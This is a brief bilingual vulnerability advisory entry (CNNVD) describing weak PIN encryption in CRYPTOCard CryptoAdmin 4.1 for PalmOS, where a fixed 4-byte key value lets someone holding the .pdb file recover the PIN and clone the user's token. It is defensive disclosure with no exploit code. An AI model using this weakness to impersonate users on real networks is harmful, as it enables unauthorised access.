[原文]CRYPTOCard CryptoAdmin for PalmOS uses weak encryption to store a user's PIN number, which allows an attacker with access to the .PDB file to generate valid PT-1 tokens after cracking the PIN.


[CNNVD]CRYPTOCard CRYPTOAdmin 4.1的弱加密漏洞(CNNVD-200004-017)

        PalmOS的CRYPTOCard CryptoAdmin使用弱加密存储用户的PIN号存在漏洞,攻击者可以在破解PIN后通过访问.PDB文件生成有效的PT-1符号。

CRYPTOCard CRYPTOAdmin is a network authentication application for use with the Palm OS platform. CRYPTOAdmin generates a .pdb file which contains the username, PIN number, serial number, and key in encrypted or plaintext format. The PIN number can be retrieved due to the software's usage of a fixed 4-byte value in key generation. With access to the .pdb file and PIN number, a user is capable of duplicating the token onto another Palm device effectively gaining access to the network as the compromised user.
